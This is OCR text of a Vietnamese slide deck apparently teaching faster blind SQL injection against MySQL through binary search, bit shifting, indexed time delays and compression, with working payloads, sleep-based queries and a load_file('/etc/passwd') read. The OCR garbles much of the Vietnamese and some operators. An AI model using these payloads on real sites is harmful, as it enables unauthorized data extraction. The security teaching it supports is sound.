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5 phat cho phan chan nhat

$ whoami >

/




Trién 1am truyén tranh
EXPLOITS OF A MOM

HI, THIS 1S
YOUR SON'S SCHOOL.

WERE HAVING SOME
(OMPUTER TROUBLE.

\%m

OH, DEAR - DID HE
BREAK SOMETHING?

IN A WAY- /
{

M

DID YOU REALLY
NAME YOLR SON
Robert'); DROP
TRBLE Students; -~ 7

~OH. YES LTTLE
ROBBY TARLES,
WE (ALL HIM.

WELL, WEVE LOST THIS

YEAR'S STUDENT RECORDS.
T HOPE YOURE HAPRY.

!

AND T HOPE
- YOUVE LEARNED

L O SAMZE YOUR
DRTRBAE INPUTS.




Piwrng dat tén dwra tré :

Teo'); DROP TABLE students;-- ’




10 diém yéu (rng dung web theo xép hang
OWASP

T10 OWASP Top 10 Application
Security Risks - 2010

*Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an
Al - Injection interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter
into executing unintended commands or accessing unauthorized data.

A2 - Cross-Site *XSS flaws occur whenever an application takes untrusted data and sends it to a web browser
Scripting (XSS) without proper validation and escaping. XSS allows attackers to execute scripts in the victim's
cripting browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.




25 16i phan mém nguy hiém nhat theo xép

hang cua SANS

1 CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Summary

Weakness Prevalence High Consequences Data loss, Security bypass
Remediation Cost Low Ease of Detection Easy

Attack Frequency Often Attacker Awareness High

Discussion

These days, it seems as if software is all about the data: getting it into the database, pulling it from the database, massaging it intc
information, and sending it elsewhere for fun and profit. If attackers can influence the SQL that you use to communicate with your
database, then suddenly all your fun and profit belongs to them. If you use SQL queries in security controls such as authentication,
attackers could alter the logic of those queries to bypass security. They could modify the queries to steal, corrupt, or otherwise

change your underlying data. They'll even steal data one byte at a time if they have to, and they have the patience and know-how

to do so. In 2011, SQL injection was responsible for the compromises of many high-profile organizations, including Sony Pictures,
PBS, MySQL.com, security company HBGary Federal, and many others.

Technical Details | Code Examples | Detection Methods | References

Prevention and Mitigations




Lam sao dé kiém th blind sql injection?

. Attacker chén cau truy van:

where

where
VD:

vul.php?id = 1

vul.php?id = 1 /
. Ung dung trd vé thong tin co thé thay dwoc

tr CSDL hay tir nhirng théng diép 16i

. Attacker thay di¥ liéu dworc trich xuat twy

CSDL



Lam sao dé kiém th( blind sql injection?

(2)

. Attacker phan tich két qua phan hoi ti» phan hoi
va phan hoi

hac biét vé checksum

hac biét vé cau trac HTML

hac biét vé tr khoa

hac biét vé hanh vi 4

(VD: )

A A A A




Lam sao dé tan dung blind sq|

injection? /




Tim kiém nhi phan
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Tan cong blind sql injection bang phuong
phap tim kiém nhi phan

. Néu cé sw phan hoi khac biét:

Attacker c6 thé trich xuat moi théng tin ttr
CSDL

. VD:
vul.php?id=1 and mid(user(),1,1)>'" and mid(user(),1,1) §" '

vul.php?id=1 and mid(user(),1,1) <'M"




Toi wu bang cach dung phép dich bit

mysql= select if((ascii(mid(user(),1,1)))==7=1,sleep(5),null);

if((ascii(mid(user(),1,1)))==7=1,sleep(5),null)
MULL

1l row in set (©.00 sec)
mysql= select if((ascii(mid(user(),1,1)))==7=0,sleep(5),null);

o mm m mm mm mm mmm mm mm mm mm mm mm o mm mmm o mm e o mm mm mm o mm mmm mm mm mmm o mm mm mm mm mm mm mm mm mmn mm mm mm mm mm mm mm  m cm

if((ascii(mid(user(),1,1)))==7=0,sleep(5),null)

1 row in set (5.00 sec)

mysql= |}

Attacker biét dwoc bit cao nhat 1a



Toi wu bang cach dung phép dich bit
(2)

mysql> select if((ascii(mid(user(),1,1)))=>=6=0,sleep(5),null);

e e e e e e e e o o o o o o o o o o o o o o -

if((ascii(mid{user(),1,1)))==6=0,sleep(5),null)

l row 1n set (0.0 sec)

mysql= select if((ascii(mid(user(),1,1)))==6=1,sleep(5),.null);

— e e e e e e e o o e e o e mm e o e mm mm o mm e mm e o e e e e mm e mm e mm e o e e e o mm mm o = = = o e

if((ascii(mid{user(),1,1)))==6=1,sleep(5),null)

Va bit thir 2 |a

Két qua ké tiép cé thé la:



Toi wu bang cach dung phép dich bit
©)

mysql> select 1f((ascii(mid(user(),1,1)))>>0=114,sleep(5),null);

1 row 1n set (5.00 sec

Vé&i ky thuat dich bit trén, chi can , sé doan
dung chinh xac



Toi wu bang cach dung phép dich bit dwa
vao két qua da dwoc danh chi muc
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Toi wu bang cach dung phép dich bit dwa
vao két qua da dwoc danh chi muc (3)

. Khi ép kiéu lai, ching ta biét rang
CAST(b'11" AS DEC) la s6 = twong wrng

v&i 'c' trong danh sach, tat ca
|
. Danh sach dai 45, BIN(49) = /
ci]r)g chi mat cho ky tw o vi tri
culi cung danh sach.




Thong ké so truy van cho moi phwong phap da dé cap
(VD: table_name="CHARACTER SET")

A
L
= FIND _IN_SET
A m Bit Shifting
= Bisection

FIND_IN_SET Bit Shifting Bisection




Panh chi muc dwa vao thdi gian nghi

(1ndex]
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Toi wu blind sql injection theo chi muc thoi
gian nghi

. Time based blind SQL bi chi phdi vao tan sb cac

/

truy van. Méi truy van chi xac dinh

. Tan sb / sé dé lai nhiéu

trong access log. Day la van dé



Indexed time based attack
(VD)

select sleep(find in set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,."));
1 row in set (6.04 sec)
# 1ndex 6, value '5'

select sleep(find in set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (11.00 sec)
# index 11, value '.'

select sleep(find in set(mid(@@version, 3, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (2.00 sec)
# index 2, value '1'

M®&i truy van sé tra vé chinh xac

)




Piéu chinh th&i gian nghi
. Th&i gian nghi cé thé diéu chinh cho bé hon bang

cach nhan chi muc v&i mot sb

. VD: Th&i gian nghi dwoc diéu chinh gidm SO VO
vi du trudc

select sleep(8.5 * find In set(nid(@@version, 1, 1), '0,1,2,3,4,5,6,7.89,."));
| row in set (3.0 sec)

# 1ndex 6, value 'S



Van dé vé doé tré mang

Y twédng xuat phat tir chuyén thdi gian nghi dwoc tinh ti
nhirng con sb danh chi muc, nén hoan toan c6 thé thém vao

nhirng ky tw chac chan (VD: \[7, 11 ..)
. VD: thém vao vao dau chi muc, thdi gian nghi luén I1&n
hon 4

select sleep(find in set(mid(@@version, 1, 1), '3,3,3,a,0,1,2,3,4,5,6,7,8,9,."));
1 row 1n set (10.00 sec)

e

# 1ndex 10, value 'S’




Toi wu blind sql injection theo
d lieu nén

/




Cau chuyén chang tham t& bi teo nho




Toi wu blind sql injection theo di¥ liéu
nen

mysgl> select length(leoad file('/etc/passwd’));

T i e -
| length(load file('/etc/passwd®")) |
T i e -
! 2111 |
i e -

1 row in set (9.800 sec)

mysgl> select length(compress(load file('/etc/passwd')));

i s -
| length(compress(load file('/etc/passwd'))) |
i s -
! 879 |
i e s -

1 row in set (0.00 sec)

mysgql> select length(hex(compress(load file('/etc/passwd’'))));

o m s s e e e m e e e e e e e e e e et e e e e e e m e m e mm—m——— - - - -
| length{hex(compress(load file('/etc/passwd’'}})) |
i e -
! 1758 |
i e -

1 row in set (0.00 sec)



Demo




Tham khao

1. Indexed blind SQL injection
http://seclists.org/fulldisclosure/2011/Dec/71

2. Faster Blind MySQL Injection Using Bit Shifting
http://www.exploit-db.com/papers/17073/

3. Optimized Blind MySQL Injection Data Retrieval

http://lwebsec.cal/blog/view/optimized_blind_sql_injection_data_retrieval

4. SQL injection: Attacks and Defense (SynGress Book) /

E SQL InvecTiON
" AtTAcks AND DEFENSE

\’,
4


http://seclists.org/fulldisclosure/2011/Dec/71
http://www.exploit-db.com/papers/17073/
http://websec.ca/blog/view/optimized_blind_sql_injection_data_retrieva
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